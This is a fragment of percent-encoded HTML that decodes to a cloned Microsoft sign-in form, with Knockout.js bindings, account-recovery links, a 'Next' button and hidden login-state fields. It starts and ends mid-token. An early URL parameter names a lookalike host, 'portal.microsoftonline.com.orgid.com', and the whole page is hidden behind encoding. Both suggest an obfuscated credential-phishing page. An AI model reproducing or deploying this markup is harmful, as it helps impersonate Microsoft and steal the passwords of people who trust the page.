73%76%53%73%39%4D%41%62%47%4B%68%4C%67%45%58%74%6B%5F%58%37%64%68%72%36%7A%72%33%75%59%58%74%77%35%7A%71%69%79%65%78%63%67%5A%6E%35%4E%5A%42%6C%61%35%69%6C%47%5A%73%48%48%36%46%78%67%5A%58%7A%41%79%33%6D%49%53%39%43%39%4B%39%30%77%4A%4C%33%5A%4C%54%55%6B%74%53%69%7A%4A%7A%4D%2D%37%77%43%4C%77%69%6F%58%48%67%4E%6D%4B%67%34%4E%4C%67%45%47%43%51%59%48%68%42%77%76%6A%49%6C%61%67%72%5A%79%6D%79%6C%4F%4F%48%46%7A%76%75%73%5A%65%65%64%61%36%63%78%59%4D%70%31%6A%31%6F%36%71%38%4C%66%4A%39%7A%54%4F%39%55%6B%7A%39%77%79%72%64%66%43%31%4E%53%33%4D%74%4C%44%78%79%38%37%79%30%30%77%79%4B%77%6F%4F%4B%51%6A%49%44%53%73%72%4B%6A%41%4A%43%41%32%30%74%72%41%77%6E%73%41%6C%4E%59%47%4D%36%78%63%62%77%67%59%32%78%67%35%33%68%41%43%66%6A%4C%53%34%52%49%77%4E%44%53%31%30%44%49%31%30%44%45%77%55%44%63%79%74%54%43%79%73%6A%73%79%67%41%30%26%61%6D%70%3B%65%73%74%73%66%65%64%3D%31%26%61%6D%70%3B%75%61%69%64%3D%61%65%65%37%33%66%65%61%62%64%62%30%34%35%31%64%62%64%38%33%65%38%64%61%63%33%30%39%32%34%61%33%26%61%6D%70%3B%73%69%67%6E%75%70%3D%31%26%61%6D%70%3B%6C%77%3D%31%26%61%6D%70%3B%66%6C%3D%65%61%73%69%32%26%61%6D%70%3B%66%63%69%3D%68%74%74%70%73%25%33%61%25%32%66%25%32%66%70%6F%72%74%61%6C%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%2E%6F%72%67%69%64%2E%63%6F%6D%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%64%3D%22%73%69%67%6E%75%70%22%20%61%72%69%61%2D%6C%61%62%65%6C%3D%22%43%72%65%61%74%65%20%61%20%4D%69%63%72%6F%73%6F%66%74%20%61%63%63%6F%75%6E%74%22%3E%43%72%65%61%74%65%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6F%6E%65%21%3C%2F%61%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%73%68%6F%77%43%61%6E%74%41%63%63%65%73%73%41%63%63%6F%75%6E%74%4C%69%6E%6B%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%22%3E%20%3C%61%20%69%64%3D%22%63%61%6E%74%41%63%63%65%73%73%41%63%63%6F%75%6E%74%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%72%65%66%3D%22%23%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%65%78%74%3A%20%73%74%72%5B%27%57%46%5F%53%54%52%5F%43%61%6E%74%41%63%63%65%73%73%41%63%63%6F%75%6E%74%5F%54%65%78%74%27%5D%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%69%63%6B%3A%20%63%61%6E%74%41%63%63%65%73%73%41%63%63%6F%75%6E%74%5F%6F%6E%43%6C%69%63%6B%22%3E%43%61%6E%19%74%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%63%63%65%73%73%20%79%6F%75%72%20%61%63%63%6F%75%6E%74%3F%3C%2F%61%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%61%76%61%69%6C%61%62%6C%65%43%72%65%64%73%57%69%74%68%6F%75%74%55%73%65%72%6E%61%6D%65%2E%6C%65%6E%67%74%68%20%3E%20%30%20%7C%7C%20%73%76%72%2E%66%53%68%6F%77%46%6F%72%67%6F%74%55%73%65%72%6E%61%6D%65%4C%69%6E%6B%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%72%6F%77%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%20%27%6D%6F%76%65%2D%62%75%74%74%6F%6E%73%27%3A%20%74%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%2E%42%6F%69%6C%65%72%50%6C%61%74%65%54%65%78%74%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%66%6F%6F%74%65%72%2D%62%75%74%74%6F%6E%73%2D%66%69%65%6C%64%27%2C%0A%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%73%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%45%6E%61%62%6C%65%64%3A%20%21%69%73%52%65%71%75%65%73%74%50%65%6E%64%69%6E%67%28%29%2C%20%20%20%20%20%20%20%20%20%20%20%20%69%73%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%3A%20%73%76%72%2E%66%53%68%6F%77%42%75%74%74%6F%6E%73%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%45%6E%61%62%6C%65%64%3A%20%74%72%75%65%2C%20%20%20%20%20%20%20%20%20%20%20%20%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%3A%20%73%76%72%2E%66%53%68%6F%77%42%75%74%74%6F%6E%73%20%26%61%6D%70%3B%26%61%6D%70%3B%20%69%73%42%61%63%6B%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%20%7D%2C%0A%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%43%6C%69%63%6B%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%5F%6F%6E%43%6C%69%63%6B%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%73%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%43%6C%69%63%6B%3A%20%73%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%5F%6F%6E%43%6C%69%63%6B%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%6F%6C%2D%78%73%2D%32%34%20%6E%6F%2D%70%61%64%64%69%6E%67%2D%6C%65%66%74%2D%72%69%67%68%74%20%66%6F%72%6D%2D%67%72%6F%75%70%20%6E%6F%2D%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%20%62%75%74%74%6F%6E%2D%63%6F%6E%74%61%69%6E%65%72%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%76%69%73%69%62%6C%65%3A%20%69%73%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%20%7C%7C%20%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%2C%20%20%20%20%63%73%73%3A%20%7B%20%27%6E%6F%2D%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%27%3A%20%72%65%6D%6F%76%65%42%6F%74%74%6F%6D%4D%61%72%67%69%6E%20%7C%7C%20%73%76%72%2E%66%52%65%70%6F%73%69%74%69%6F%6E%46%6F%6F%74%65%72%42%75%74%74%6F%6E%73%2C%20%27%62%75%74%74%6F%6E%2D%63%6F%6E%74%61%69%6E%65%72%27%3A%20%73%76%72%2E%66%52%65%70%6F%73%69%74%69%6F%6E%46%6F%6F%74%65%72%42%75%74%74%6F%6E%73%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%20%20%20%20%63%73%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%27%69%6E%6C%69%6E%65%2D%62%6C%6F%63%6B%27%3A%20%73%76%72%2E%66%52%65%70%6F%73%69%74%69%6F%6E%46%6F%6F%74%65%72%42%75%74%74%6F%6E%73%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27%63%6F%6C%2D%78%73%2D%31%32%20%70%72%69%6D%61%72%79%27%3A%20%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%20%26%61%6D%70%3B%26%61%6D%70%3B%20%21%73%76%72%2E%66%52%65%70%6F%73%69%74%69%6F%6E%46%6F%6F%74%65%72%42%75%74%74%6F%6E%73%2C%20%20%20%20%20%20%20%20%20%20%20%20%27%63%6F%6C%2D%78%73%2D%32%34%27%3A%20%21%28%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%20%7C%7C%20%73%76%72%2E%66%52%65%70%6F%73%69%74%69%6F%6E%46%6F%6F%74%65%72%42%75%74%74%6F%6E%73%29%20%7D%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%61%73%73%3D%22%69%6E%6C%69%6E%65%2D%62%6C%6F%63%6B%22%3E%20%3C%69%6E%70%75%74%20%69%64%3D%22%69%64%53%49%42%75%74%74%6F%6E%39%22%20%63%6C%61%73%73%3D%22%62%74%6E%20%62%74%6E%2D%62%6C%6F%63%6B%20%62%74%6E%2D%70%72%69%6D%61%72%79%20%62%75%74%74%6F%6E%5F%74%77%6F%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%61%74%74%72%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%69%64%27%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%49%64%20%7C%7C%20%27%69%64%53%49%42%75%74%74%6F%6E%39%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%61%72%69%61%2D%64%65%73%63%72%69%62%65%64%62%79%27%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%44%65%73%63%72%69%62%65%64%42%79%20%7D%2C%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%54%65%78%74%28%29%20%7C%7C%20%73%74%72%5B%27%43%54%5F%50%57%44%5F%53%54%52%5F%53%69%67%6E%49%6E%5F%42%75%74%74%6F%6E%5F%4E%65%78%74%27%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%68%61%73%46%6F%63%75%73%3A%20%66%6F%63%75%73%4F%6E%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%2C%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%69%63%6B%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%5F%6F%6E%43%6C%69%63%6B%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%65%6E%61%62%6C%65%3A%20%69%73%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%45%6E%61%62%6C%65%64%2C%20%20%20%20%20%20%20%20%20%20%20%20%76%69%73%69%62%6C%65%3A%20%69%73%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%72%65%76%65%6E%74%54%61%62%62%69%6E%67%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%50%72%65%76%65%6E%74%54%61%62%62%69%6E%67%22%20%76%61%6C%75%65%3D%22%4E%65%78%74%22%20%74%79%70%65%3D%22%73%75%62%6D%69%74%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%74%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%2E%42%6F%69%6C%65%72%50%6C%61%74%65%54%65%78%74%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%68%6F%77%46%65%64%43%72%65%64%42%75%74%74%6F%6E%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%6E%65%77%53%65%73%73%69%6F%6E%4D%65%73%73%61%67%65%28%29%20%26%26%20%21%73%76%72%2E%75%72%6C%4D%73%61%53%74%61%74%69%63%4D%65%43%6F%6E%74%72%6F%6C%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%75%72%6C%4D%73%61%53%74%61%74%69%63%4D%65%43%6F%6E%74%72%6F%6C%20%26%26%20%6E%65%77%53%65%73%73%69%6F%6E%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%70%73%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%70%6F%73%74%65%64%4C%6F%67%69%6E%53%74%61%74%65%56%69%65%77%49%64%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%70%73%52%4E%47%43%44%65%66%61%75%6C%74%54%79%70%65%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%70%6F%73%74%65%64%4C%6F%67%69%6E%53%74%61%74%65%56%69%65%77%52%4E%47%43%44%65%66%61%75%6C%74%54%79%70%65%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3